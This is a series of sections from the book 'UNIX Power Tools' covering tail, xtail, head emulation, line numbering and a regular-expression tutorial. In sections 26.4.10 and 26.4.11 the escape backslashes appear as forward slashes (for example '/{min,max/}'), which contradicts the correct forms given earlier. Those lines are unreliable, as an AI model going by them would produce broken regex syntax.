Previous: 25.13 pushin: Squeeze Out Extra White Space | UNIX Power Tools | Next: 25.15 Finer Control on tail
25.13 pushin: Squeeze Out Extra White Space | Book Index | 25.15 Finer Control on tail
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 25] 25.15 Finer Control on tail

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 25.14 How to Look at the End of a File: tail Chapter 25
Showing What's in a File 		Next: 25.16 How to Look at a File as It Grows

25.15 Finer Control on tail

What if you need to look at the last 11 lines of the file? The command tail -n shows the final n lines. The command tail +n discards the first n-1 lines, giving you line n and everything that follows it.

You can also tell tail to count the number of characters or the number of 512-byte blocks. To do so, use the -c option (count characters) or the -b option (count blocks). If you want to state explicitly that you're interested in lines, give the -l option.

NOTE: tail is one of the UNIX programs that likes its arguments to be smashed together. In other words, if you want to look at the last three blocks of a file, give the command tail -3b. If you give the command tail -3 -b, tail will happily assume that you want to look at the file -b. This also applies to the -f option, which we'll discuss a bit in article 25.16. For example, the command tail -4b mail.txt dumps the last 2048 bytes (four blocks, each 512 bytes) of my mail.txt file to the screen.

Many versions of tail also have a -r option that shows the file in reverse order, starting from the last line. (Also see article 25.19.)

Some versions of UNIX may limit the maximum number of lines that tail, especially tail -r, can display.

- ML

Previous: 25.14 How to Look at the End of a File: tail | UNIX Power Tools | Next: 25.16 How to Look at a File as It Grows
25.14 How to Look at the End of a File: tail | Book Index | 25.16 How to Look at a File as It Grows
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 25] 25.16 How to Look at a File as It Grows

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 25.15 Finer Control on tail Chapter 25
Showing What's in a File 		Next: 25.17 An Alias in Case You Don't Have tail

25.16 How to Look at a File as It Grows

One of the best things that you can do with tail is look at a file as it is growing. For example, I once was debugging a program named totroff that converted a manual from a plain text format to troff. It was rather slow, so that you didn't want to wait until the program finished running before looking at the output. But you didn't want to be typing more (25.3) every 20 seconds either, to find out whether or not the part of the file that you were debugging had made it through yet. (more quits when you "run out" of file, so it can't really help you look for a part of a file that hasn't been written yet.) The tail -f command solves this problem. For example:

&

% totroff < file.txt > file.ms &
[1] 12345
% tail -f file.ms
.LP
Tail produces output as
the file grows.
   ...
[CTRL-c]

Other applications for tail -f: lets you watch any system log file (/usr/adm/messages, sendmail log file, news log, etc.) as it grows.

What's actually happening here?

When you invoke tail -f, tail behaves just like it normally does: it reads the file and dumps the last ten (or whatever) lines to the screen. But, unlike most applications, tail doesn't quit at this point. Instead, tail goes into an infinite loop. It sleeps for a second, then wakes up and looks to see if the file is any longer, then sleeps again, and so on. Because this is an infinite loop, you have to enter CTRL-c (or whatever your interrupt key (38.9) is) when you've seen the data you're interested in, or when the file you're watching has been completed. tail has no way of knowing when the file has stopped growing.

tail ignores the -f option when it is reading from a pipe. For example, totroff < file.txt | tail -f wouldn't work.

- ML

Previous: 25.15 Finer Control on tail | UNIX Power Tools | Next: 25.17 An Alias in Case You Don't Have tail
25.15 Finer Control on tail | Book Index | 25.17 An Alias in Case You Don't Have tail
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 25] 25.17 An Alias in Case You Don't Have tail

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 25.16 How to Look at a File as It Grows Chapter 25
Showing What's in a File 		Next: 25.18 Watching Several Files Grow

25.17 An Alias in Case You Don't Have tail

Some System V UNIX versions don't support the tail command (25.14). Here are a shell function and alias named ptail that give you an equivalent:

ptail() { sed -e :a -e '$q;N;11,$D;ba' $1; }

alias ptail sed -e :a -e \''$q;N;11,$D;ba'\'

This prints the last ten lines of a file. (Greg Ubben wrote ptail.)

- JP

Previous: 25.16 How to Look at a File as It Grows | UNIX Power Tools | Next: 25.18 Watching Several Files Grow
25.16 How to Look at a File as It Grows | Book Index | 25.18 Watching Several Files Grow
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 25] 25.18 Watching Several Files Grow

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 25.17 An Alias in Case You Don't Have tail Chapter 25
Showing What's in a File 		Next: 25.19 Reverse Lines in Long Files with flip

25.18 Watching Several Files Grow

Now here's a useful tool: suppose you want to monitor several files at once. Administrators, for example, might want to keep track of several log files, such as /usr/adm/messages, /usr/adm/lpd-errs, UUCP error files, etc.

xtail
 The xtail program comes in useful for keeping an eye on several administrative log files at once. But it also comes in useful for non-administrators. It's sort of a tail -f for several files as once.

For example, suppose you want to perform several greps through many files, saving the output in different files. You can then monitor the files using xtail. For example:

% grep Berkeley ch?? > Berkeley.grep &
% grep BSD ch?? > BSD.grep &
% grep "System V" ch?? > SystemV.grep &
% grep SysV ch?? > SysV.grep &
% xtail Berkeley.grep BSD.grep SystemV.grep SysV.grep

When new text appears in the files called with xtail, it also appears on the screen:

*** SysV.grep ***
ch01:using a SysV-based UNIX system, you must

*** Berkeley.grep ***
ch01:at the University of California at Berkeley, where

*** BSD.grep ***
ch03:prefer BSD UNIX systems because they are less likely to
ch04:who use a BSD-based UNIX systems must run the

*** SysV.grep ***
ch04:is a SysV derivative sold by Acme Products Inc.

(When text is written to a new file, the filename is printed surrounded by ***.)

If you press your interrupt key (5.9) (usually CTRL-c or DEL), xtail will tell you which files have been modified most recently:

[CTRL-c]
*** recently changed files ***
   1   4-Nov-92 18:21:12  BSD.grep
   2   4-Nov-92 18:19:52  Berkeley.grep
   3   4-Nov-92 17:42:45  SysV.grep

To exit xtail, you must send the QUIT signal (usually CTRL-\, control-backslash).

If an argument given to xtail is a directory name and not a filename, then xtail monitors all files in that directory. For administrators, this comes in very useful for monitoring the UUCP (1.33) log files in all the subdirectories of /usr/spool/uucp/.Log:

% xtail /usr/spool/uucp/.Log/*

- LM

Previous: 25.17 An Alias in Case You Don't Have tail | UNIX Power Tools | Next: 25.19 Reverse Lines in Long Files with flip
25.17 An Alias in Case You Don't Have tail | Book Index | 25.19 Reverse Lines in Long Files with flip
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 25] 25.19 Reverse Lines in Long Files with flip

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 25.18 Watching Several Files Grow Chapter 25
Showing What's in a File 		Next: 25.20 Printing the Top of a File

25.19 Reverse Lines in Long Files with flip

If you're looking at a long log file and you want to see the most recent lines first, you might use the tail -r (25.15) command. It shows the lines of a file in reverse order, last line first. It will give up if your file is too big, though. How big "too big" is depends on your version of tail. To find out, try a very big text file and see how far tail -r goes:

% tail -r /usr/dict/words > /tmp/words.tailr
% ls -l /tmp/words.tailr /usr/dict/words
-rw-r--r--  1 jerry       32768 Dec  5 09:49 /tmp/words.tailr
-rw-r--r--  1 root       206672 Feb  8  1990 /usr/dict/words

flip
 tail -r quit after 32768 characters on our system. The flip program has no theoretical limit, but it needs enough system memory to hold your file (or its standard input). Here it is, courtesy of Tom Christiansen:

#!/usr/local/bin/perl
print reverse <>

- JP

Previous: 25.18 Watching Several Files Grow | UNIX Power Tools | Next: 25.20 Printing the Top of a File
25.18 Watching Several Files Grow | Book Index | 25.20 Printing the Top of a File
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 25] 25.20 Printing the Top of a File

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 25.19 Reverse Lines in Long Files with flip Chapter 25
Showing What's in a File 		Next: 25.21 Numbering Lines

25.20 Printing the Top of a File

Many versions of BSD UNIX include a nice program called head that prints the top n (default: 10) lines of a file. System V or other users without head can emulate its behavior with sed.

The easiest way is simply to use sed's q command (34.21):

% sed 10q file

head
 If you want to get fancy, you can use a shell script to emulate all of the behavior of the BSD head command, including taking an option for the number of lines to be printed, and printing a separator line if multiple filenames are specified on the same command line.

The CD-ROM has that script. Most of it is straightforward. One interesting part is shown below. It's the sed command that prints the separator when more than one file is shown:

sed "
1i\\
==> $1 <==
${show}q" $1

The sed command 1i inserts the separator before line 1. The sed command q quits after the number of lines (by default, 10) in the $show shell variable (6.8). The shell substitutes $1 with the filename being read. The double quotes (") around the sed commands let the shell build the commands on-the-fly before starting sed.

- JP, TOR

Previous: 25.19 Reverse Lines in Long Files with flip | UNIX Power Tools | Next: 25.21 Numbering Lines
25.19 Reverse Lines in Long Files with flip | Book Index | 25.21 Numbering Lines
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 25] 25.21 Numbering Lines

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 25.20 Printing the Top of a File Chapter 25
Showing What's in a File 		Next: 26. Regular Expressions (Pattern Matching)

25.21 Numbering Lines

There are times when you want to print out a file with the lines numbered - perhaps because you are showing a script or program in documentation and want to refer to individual lines in the course of your discussion.

This is one of the handy things cat can do for you, with the -n option.

cat -n precedes each line with some leading spaces, the line number, and a TAB. How many leading spaces? It depends on how high the line numbers go. The line numbers are right justified at column 6, which means that a six-digit number will go all the way back to the margin. I only belabor this point in case you're tempted to trim the leading spaces with something like cut (35.14).

If you have a version of cat that doesn't support -n, try nl, the line-numbering program. nl -ba acts like cat -n. By itself, nl numbers only lines with text.

You can achieve a similar effect with pr -t -n. (The -t keeps pr from inserting the header and footer (43.7) it normally uses to break its output into pages.) And as long as we're giving you choices, here are four more :-) from Greg Ubben:

grep -n \^
awk '{print NR,$0}'
sed = | sed 'N;s/\n/ /'
ex - '+%#q'

- JP, TOR

Previous: 25.20 Printing the Top of a File | UNIX Power Tools | Next: 26. Regular Expressions (Pattern Matching)
25.20 Printing the Top of a File | Book Index | 26. Regular Expressions (Pattern Matching)
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 26] Regular Expressions (Pattern Matching)

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 25.21 Numbering Lines Chapter 26 Next: 26.2 Don't Confuse Regular Expressions with Wildcards

26. Regular Expressions (Pattern Matching)

Contents:
That's an Expression
Don't Confuse Regular Expressions with Wildcards
Understanding Expressions
Using Metacharacters in Regular Expressions
Getting Regular Expressions Right
Just What Does a Regular Expression Match?
Limiting the Extent of a Match
I Never Meta Character I Didn't Like
Valid Metacharacters for Different UNIX Programs
Pattern Matching Quick Reference with Examples

26.1 That's an Expression

When my young daughter is struggling to understand the meaning of an idiomatic expression, such as, "Someone let the cat out of the bag," before I tell her what it means, I have to tell her that it's an expression, that she's not to interpret it literally. (As a consequence, she also uses "That's just an expression" to qualify her own remarks, especially when she is unsure about what she has just said.)

An expression, even in computer terminology, is not something to be interpreted literally. It is something that needs to be evaluated.

Many UNIX programs use a special "regular expression syntax" for specifying what you could think of as "wildcard searches" through files. Regular expressions describe patterns, or sequences of characters, without necessarily specifying the characters literally. You'll also hear this process referred to as "pattern matching."

In this chapter, we depart a bit from the usual "tips and tricks" style of the book to provide an extended tutorial about regular expressions in article 26.4. We did this because regular expressions are so important to many of the tips and tricks elsewhere in the book, and we wanted to make sure that they are covered thoroughly.

This tutorial article is accompanied by a few snippets of advice (articles 26.5 and 26.7), and a few tools that help you see what your expressions are matching (article 26.6). There's also a quick reference (article 26.10) for those of you who just need a refresher.

For tips, tricks and tools that rely on an understanding of regular expression syntax, you have only to look at:

  • Chapter 27, Searching Through Files, Searching Through Files

  • Chapter 30, vi Tips and Tricks, vi Tips and Tricks

  • Chapter 33, Batch Editing, Batch Editing

  • Chapter 34, The sed Stream Editor, The sed Stream Editor

  • Chapter 37, Perl, a Pathologically Eclectic Rubbish Lister, Perl, A Pathologically Eclectic Rubbish Lister

O'Reilly's Mastering Regular Expressions, by Jeffrey Friedl, is a gold mine of examples and specifics.

- DD, TOR (Dale wrote the good part, in O'Reilly & Associates' sed & awk)

Previous: 25.21 Numbering Lines | UNIX Power Tools | Next: 26.2 Don't Confuse Regular Expressions with Wildcards
25.21 Numbering Lines | Book Index | 26.2 Don't Confuse Regular Expressions with Wildcards
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 26] 26.2 Don't Confuse Regular Expressions with Wildcards

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 26.1 That's an Expression Chapter 26
Regular Expressions (Pattern Matching) 		Next: 26.3 Understanding Expressions

26.2 Don't Confuse Regular Expressions with Wildcards

Before we even start talking about regular expressions, a word of caution for beginners: regular expressions can be confusing because they look a lot like the file matching patterns the shell uses. Both the shell and programs that use regular expressions have special meanings for the asterisk (*), question mark (?), parentheses (()), square brackets ([]), and vertical bar (|, the "pipe").

Some of these characters even act the same way - almost.

Just remember, the shells, find, and cpio use filename matching patterns and not regular expressions.

You also have to remember that shell metacharacters are expanded before the shell passes the arguments to the program. To prevent this expansion, the special characters in a regular expression must be quoted (8.14) when passed as an argument from the shell.

The command:

$ grep [A-Z]*.c chap[12]

could, for example, be interpreted by the shell as:

grep Array.c Bug.c Comp.c chap1 chap2

and so grep would then try to find the pattern "Array.c" in files Bug.c, Comp.c, chap1, and chap2.

The simplest solution in most cases is to surround the regular expression with single quotes (').

- BB, DG, TOR

Previous: 26.1 That's an Expression | UNIX Power Tools | Next: 26.3 Understanding Expressions
26.1 That's an Expression | Book Index | 26.3 Understanding Expressions
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 26] 26.3 Understanding Expressions

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 26.2 Don't Confuse Regular Expressions with Wildcards Chapter 26
Regular Expressions (Pattern Matching) 		Next: 26.4 Using Metacharacters in Regular Expressions

26.3 Understanding Expressions

You are probably familiar with the kinds of expressions that a calculator interprets. Look at the following arithmetic expression:

2 + 4

"Two plus four" consists of several constants or literal values and an operator. A calculator program must recognize, for instance, that 2 is a numeric constant and that the plus sign represents an operator, not to be interpreted as the + character.

An expression tells the computer how to produce a result. Although it is the sum of "two plus four" that we really want, we don't simply tell the computer to return a six. We instruct the computer to evaluate the expression and return a value.

An expression can be more complicated than 2+4; in fact, it might consist of multiple simple expressions, such as the following:

2 + 3 * 4

A calculator normally evaluates an expression from left to right. However, certain operators have precedence over others: that is, they will be performed first. Thus, the above expression will evaluate to 14 and not 20 because multiplication takes precedence over addition. Precedence can be overridden by placing the simple expression in parentheses. Thus, (2+3)*4 or "the sum of two plus three times four" will evaluate to 20. The parentheses are symbols that instruct the calculator to change the order in which the expression is evaluated.

A regular expression, by contrast, is descriptive of a pattern or sequence of characters. Concatenation is the basic operation implied in every regular expression. That is, a pattern matches adjacent characters. Look at the following example of a regular expression:

ABE

Each literal character is a regular expression that matches only that single character. This expression describes an "A followed by a B then followed by an E" or simply the string ABE. The term "string" means each character concatenated to the one preceding it. That a regular expression describes a sequence of characters can't be emphasized enough. (Novice users are inclined to think in higher-level units such as words, and not individual characters.) Regular expressions are case-sensitive; A does not match a.

Programs such as grep (27.2) that accept regular expressions must first evaluate the syntax of the regular expression to produce a pattern. They then read the input line by line trying to match the pattern. An input line is a string, and to see if a string matches the pattern, a program compares the first character in the string to the first character of the pattern. If there is a match, it compares the second character in the string to the second character of the pattern. Whenever it fails to make a match, it compares the next character in the string to the first character of the pattern. Figure 26.1 illustrates this process, trying to match the pattern abe on an input line.

Figure 26.1: Interpreting a Regular Expression

A regular expression is not limited to literal characters. There is, for instance, a metacharacter - the dot (.) - that can be used as a "wildcard" to match any single character. You can think of this wildcard as analogous to a blank tile in Scrabble(TM) where it means any letter. Thus, we can specify the regular expression A.E and it will match ACE, ABE, and ALE. It will match any character in the position following A.

The metacharacter * (the asterisk) is used to match zero or more occurrences of the preceding regular expression, which typically is a single character. You may be familiar with * as a shell metacharacter, where it also means "zero or more characters." But that meaning is very different from * in a regular expression. By itself, the metacharacter * does not match anything in a regular expression; it modifies what goes before it. The regular expression .* matches any number of characters. The regular expression A.*E matches any string that matches A.E but it will also match any number of characters between A and E: AIRPLANE, A FINE, AE, A 32-cent S.A.S.E, or A LONG WAY HOME, for example.

If you understand the difference between . and * in regular expressions, you already know about the two basic types of metacharacters: those that can be evaluated to a single character, and those that modify how characters that precede it are evaluated.

It should also be apparent that by use of metacharacters you can expand or limit the possible matches. You have more control over what is matched and what is not. In article 26.4, Bruce Barnett explains in detail how to use regular expression metacharacters.

- DD from O'Reilly & Associates' sed & awk

Previous: 26.2 Don't Confuse Regular Expressions with Wildcards | UNIX Power Tools | Next: 26.4 Using Metacharacters in Regular Expressions
26.2 Don't Confuse Regular Expressions with Wildcards | Book Index | 26.4 Using Metacharacters in Regular Expressions
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 26] 26.4 Using Metacharacters in Regular Expressions

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 26.3 Understanding Expressions Chapter 26
Regular Expressions (Pattern Matching) 		Next: 26.5 Getting Regular Expressions Right

26.4 Using Metacharacters in Regular Expressions

There are three important parts to a regular expression:

  1. Anchors are used to specify the position of the pattern in relation to a line of text.

  2. Character sets match one or more characters in a single position.

  3. Modifiers specify how many times the previous character set is repeated.

A simple example that demonstrates all three parts is the regular expression:

^#*

The caret (^) is an anchor that indicates the beginning of the line. The hash mark is a simple character set that matches the single character #. The asterisk (*) is a modifier. In a regular expression it specifies that the previous character set can appear any number of times, including zero. As you will see shortly, this is a useless regular expression (except for demonstrating the syntax!).

There are two main types of regular expressions: simple regular expressions and extended regular expressions. (As we'll see later in the article, the boundaries between the two types have become blurred as regular expressions have evolved.) A few utilities like awk and egrep use the extended regular expression. Most use the simple regular expression. From now on, if I talk about a "regular expression" (without specifying simple or extended), I am describing a feature common to both types.

The commands that understand just simple regular expressions are: vi, sed, grep, csplit, dbx, more, ed, expr, lex, and pg. The utilities awk, nawk, and egrep understand extended regular expressions.

[The situation is complicated by the fact that simple regular expressions have evolved over time, and so there are versions of "simple regular expressions" that support extensions missing from extended regular expressions! Bruce explains the incompatibility at the end of his article. -TOR ]

26.4.1 The Anchor Characters: ^ and $

Most UNIX text facilities are line-oriented. Searching for patterns that span several lines is not easy to do. You see, the end-of-line character is not included in the block of text that is searched. It is a separator. Regular expressions examine the text between the separators. If you want to search for a pattern that is at one end or the other, you use anchors. The caret (^) is the starting anchor, and the dollar sign ($) is the end anchor. The regular expression ^A will match all lines that start with an uppercase A. The expression A$ will match all lines that end with uppercase A. If the anchor characters are not used at the proper end of the pattern, then they no longer act as anchors. That is, the ^ is only an anchor if it is the first character in a regular expression. The $ is only an anchor if it is the last character. The expression $1 does not have an anchor. Neither does 1^. If you need to match a ^ at the beginning of the line or a $ at the end of a line, you must escape the special character by typing a backslash (\) before it. Table 26.1 has a summary.

Table 26.1: Regular Expression Anchor Character Examples
Pattern | Matches
^A | An A at the beginning of a line
A$ | An A at the end of a line
A | An A anywhere on a line
$A | A $A anywhere on a line
^\^ | A ^ at the beginning of a line
^^ | Same as ^\^
\$$ | A $ at the end of a line
$$ | Same as \$$

The use of ^ and $ as indicators of the beginning or end of a line is a convention other utilities use. The vi editor uses these two characters as commands to go to the beginning or end of a line. The C shell uses !^ to specify the first argument of the previous line, and !$ is the last argument on the previous line (article 11.7 explains).

It is one of those choices that other utilities go along with to maintain consistency. For instance, $ can refer to the last line of a file when using ed and sed. cat -v -e (25.6, 25.7) marks ends of lines with a $. You might see it in other programs as well.

26.4.2 Matching a Character with a Character Set

The simplest character set is a character. The regular expression the contains three character sets: t, h, and e. It will match any line that contains the string the, including the word other. To prevent this, put spaces ( [image]) before and after the pattern: the [image]. You can combine the string with an anchor. The pattern ^From: will match the lines of a mail message (1.33) that identify the sender. Use this pattern with grep to print every address in your incoming mailbox:

$USER
% grep '^From: ' /usr/spool/mail/$USER

Some characters have a special meaning in regular expressions. If you want to search for such a character as itself, escape it with a backslash (\).

26.4.3 Match any Character with . (Dot)

The dot (.) is one of those special metacharacters. By itself it will match any character, except the end-of-line character. The pattern that will match a line with any single character is: ^.$.

26.4.4 Specifying a Range of Characters with [...]

If you want to match specific characters, you can use square brackets, [], to identify the exact characters you are searching for. The pattern that will match any line of text that contains exactly one digit is: ^[0123456789]$. This is longer than it has to be. You can use the hyphen between two characters to specify a range: ^[0-9]$. You can intermix explicit characters with character ranges. This pattern will match a single character that is a letter, digit, or underscore: [A-Za-z0-9_]. Character sets can be combined by placing them next to one another. If you wanted to search for a word that:

  • started with an uppercase T,

  • was the first word on a line,

  • the second letter was a lowercase letter,

  • was three letters long (followed by a space character ( [image])), and

  • the third letter was a lowercase vowel,

the regular expression would be: ^T[a-z][aeiou] [image].

[To be specific: A range is a contiguous series of characters, from low to high, in the ASCII chart (51.3). For example, [z-a] is not a range because it's backwards. The range [A-z] does match both uppercase and lowercase letters, but it also matches the six characters that fall between uppercase and lowercase letters in the ASCII chart: [, \, ], ^, _, and `. -JP ]

26.4.5 Exceptions in a Character Set

You can easily search for all characters except those in square brackets by putting a caret (^) as the first character after the left square bracket ([). To match all characters except lowercase vowels use: [^aeiou].

Like the anchors in places that can't be considered an anchor, the right square bracket (]) and dash (-) do not have a special meaning if they directly follow a [. Table 26.2 has some examples.

Table 26.2: Regular Expression Character Set Examples
Regular Expression | Matches
[0-9] | Any digit
[^0-9] | Any character other than a digit
[-0-9] | Any digit or a -
[0-9-] | Any digit or a -
[^-0-9] | Any character except a digit or a -
[]0-9] | Any digit or a ]
[0-9]] | Any digit followed by a ]
[0-99-z] | Any digit or any character between 9 and z (51.3)
[]0-9-] | Any digit, a -, or a ]

26.4.6 Repeating Character Sets with *

The third part of a regular expression is the modifier. It is used to specify how many times you expect to see the previous character set. The special character * (asterisk) matches zero or more copies. That is, the regular expression 0* matches zero or more zeros, while the expression [0-9]* matches zero or more digits.

This explains why the pattern ^#* is useless, as it matches any number of #'s at the beginning of the line, including zero. Therefore, this will match every line, because every line starts with zero or more #'s.

At first glance, it might seem that starting the count at zero is stupid. Not so. Looking for an unknown number of characters is very important. Suppose you wanted to look for a digit at the beginning of a line, and there may or may not be spaces before the digit. Just use ^ [image] * to match zero or more spaces at the beginning of the line. If you need to match one or more, just repeat the character set. That is, [0-9]* matches zero or more digits and [0-9][0-9]* matches one or more digits.

26.4.7 Matching a Specific Number of Sets with \ { and \ }

You cannot specify a maximum number of sets with the * modifier. However, some programs (26.9) recognize a special pattern you can use to specify the minimum and maximum number of repeats. This is done by putting those two numbers between \{ and \}.

Having convinced you that \{ isn't a plot to confuse you, an example is in order. The regular expression to match four, five, six, seven, or eight lowercase letters is: [a-z]\{4,8\}. Any numbers between 0 and 255 can be used. The second number may be omitted, which removes the upper limit. If the comma and the second number are omitted, the pattern must be duplicated the exact number of times specified by the first number.

CAUTION: The backslashes deserve a special discussion. Normally a backslash turns off the special meaning for a character. For example, a literal period is matched by \. and a literal asterisk is matched by \*. However, if a backslash is placed before a <, >, {, }, (, or ) or before a digit, the backslash turns on a special meaning. This was done because these special functions were added late in the life of regular expressions. Changing the meaning of {, }, (, ), <, and > would have broken old expressions. (This is a horrible crime punishable by a year of hard labor writing COBOL programs.) Instead, adding a backslash added functionality without breaking old programs. Rather than complain about the change, view it as evolution.

You must remember that modifiers like * and \{1,5\} only act as modifiers if they follow a character set. If they were at the beginning of a pattern, they would not be modifiers. Table 26.3 is a list of examples, and the exceptions.

Table 26.3: Regular Expression Pattern Repetition Examples
Regular Expression | Matches
* | Any line with a *
\* | Any line with a *
\\ | Any line with a \
^* | Any line starting with a *
^A* | Any line
^A\* | Any line starting with an A*
^AA* | Any line starting with one A
^AA*B | Any line starting with one or more A's followed by a B
^A\{4,8\}B | Any line starting with four, five, six, seven, or eight A's followed by a B
^A\{4,\}B | Any line starting with four or more A's followed by a B
^A\{4\}B | Any line starting with an AAAAB
\{4,8\} | Any line with a {4,8}
A{4,8} | Any line with an A{4,8}

26.4.8 Matching Words with \ < and \ >

Searching for a word isn't quite as simple as it at first appears. The string the will match the word other. You can put spaces before and after the letters and use this regular expression: the [image]. However, this does not match words at the beginning or the end of the line. And it does not match the case where there is a punctuation mark after the word.

There is an easy solution - at least in many versions of ed, ex, and vi. The characters \< and \> are similar to the ^ and $ anchors, as they don't occupy a position of a character. They do anchor the expression between to match only if it is on a word boundary. The pattern to search for the words the and The would be: \<[tT]he\>.

Let's define a "word boundary." The character before the t or T must be either a newline character or anything except a letter, digit, or underscore ( _ ). The character after the e must also be a character other than a digit, letter, or underscore, or it could be the end-of-line character.

26.4.9 Remembering Patterns with \ (, \ ), and \1

Another pattern that requires a special mechanism is searching for repeated words. The expression [a-z][a-z] will match any two lowercase letters. If you wanted to search for lines that had two adjoining identical letters, the above pattern wouldn't help. You need a way to remember what you found and see if the same pattern occurs again. In some programs, you can mark part of a pattern using \( and \). You can recall the remembered pattern with \ followed by a single digit. Therefore, to search for two identical letters, use: \([a-z]\)\1. You can have nine different remembered patterns. Each occurrence of \( starts a new pattern. The regular expression to match a five-letter palindrome (e.g., "radar") is: \([a-z]\)\([a-z]\)[a-z]\2\1. [Some versions of some programs can't handle \( \) in the same regular expression as \1, etc. In all versions of sed, you're safe if you use /( /) on the pattern side of an s command-and/1, etc., on the replacement side . (34.10) -JP ]

26.4.10 Potential Problems

That completes a discussion of simple regular expressions. Before I discuss the extensions that extended expressions offer, I want to mention two potential problem areas.

The /< and /> characters were introduced in the vi editor. The other programs didn't have this ability at that time. Also, the /{min,max/} modifier is new, and earlier utilities didn't have this ability. This makes it difficult for the novice user of regular expressions, because it seems as if each utility has a different convention. Sun has retrofitted the newest regular expression library to all of their programs, so they all have the same ability. If you try to use these newer features on other vendors' machines, you might find they don't work the same way.

The other potential point of confusion is the extent of the pattern matches (26.6). Regular expressions match the longest possible pattern. That is, the regular expression A.*B matches AAB as well as AAAABBBBABCCCCBBBAAAB. This doesn't cause many problems using grep, because an oversight in a regular expression will just match more lines than desired. If you use sed, and your patterns get carried away, you may end up deleting or changing more than you want to.

26.4.11 Extended Regular Expressions

Two programs use extended regular expressions: egrep and awk. [perl uses expressions that are even more extended. -JP ] With these extensions, those special characters preceded by a backslash no longer have special meaning: /{, /}, /<, />, /(, /), as well as /digit. There is a very good reason for this, which I will delay explaining to build up suspense.

The question mark (?) matches zero or one instances of the character set before it, and the plus sign (+) matches one or more copies of the character set. You can't use /{ and /} in extended regular expressions, but if you could, you might consider ? to be the same as /{0,1/} and + to be the same as /{1,/}.

By now, you are wondering why the extended regular expressions are even worth using. Except for two abbreviations, there seem to be no advantages and a lot of disadvantages. Therefore, examples would be useful.

The three important characters in the expanded regular expressions are (, |, and ). Parentheses are used to group expressions; the vertical bar acts an an OR operator. Together, they let you match a choice of patterns. As an example, you can use egrep to print all From: and Subject: lines from your incoming mail:

% egrep '^(From|Subject): ' /usr/spool/mail/$USER

All lines starting with From: or Subject: will be printed. There is no easy way to do this with simple regular expressions. You could try something like ^[FS][ru][ob][mj]e*c*t*: and hope you don't have any lines that start with Sromeet:. Extended expressions don't have the /< and /> characters. You can compensate by using the alternation mechanism. Matching the word "the" in the beginning, middle, or end of a sentence or at the end of a line can be done with the extended regular expression: (^| )the([^a-z]|$). There are two choices before the word: a space or the beginning of a line. Following the word, there must be something besides a lowercase letter or else the end of the line. One extra bonus with extended regular expressions is the ability to use the *, +, and ? modifiers after a (...) grouping. Here are two ways to match "a simple problem", "an easy problem", as well as "a problem"; the second expression is more exact:

% egrep "a[n]? (simple|easy)? ?problem" data
% egrep "a[n]? ((simple|easy) )?problem" data

I promised to explain why the backslash characters don't work in extended regular expressions. Well, perhaps the /{.../} and /<.../> could be added to the extended expressions, but it might confuse people if those characters are added and the /(.../) are not. And there is no way to add that functionality to the extended expressions without changing the current usage. Do you see why? It's quite simple. If ( has a special meaning, then /( must be the ordinary character. This is the opposite of the simple regular expressions, where ( is ordinary and /( is special. The usage of the parentheses is incompatible, and any change could break old programs.

If the extended expression used (...|...) as regular characters, and /(.../|.../) for specifying alternate patterns, then it is possible to have one set of regular expressions that has full functionality. This is exactly what GNU Emacs (32.1) does, by the way-it combines all of the features of regular and extended expressions with one syntax.

- BB

Previous: 26.3 Understanding Expressions | UNIX Power Tools | Next: 26.5 Getting Regular Expressions Right
26.3 Understanding Expressions | Book Index | 26.5 Getting Regular Expressions Right
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 26] 26.5 Getting Regular Expressions Right

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 26.4 Using Metacharacters in Regular Expressions Chapter 26
Regular Expressions (Pattern Matching) 		Next: 26.6 Just What Does a Regular Expression Match?

26.5 Getting Regular Expressions Right

Writing regular expressions involves more than learning the mechanics. You not only have to learn how to describe patterns, you also have to recognize the context in which they appear. You have to be able to think through the level of detail that is necessary in a regular expression, based on the context in which the pattern will be applied.

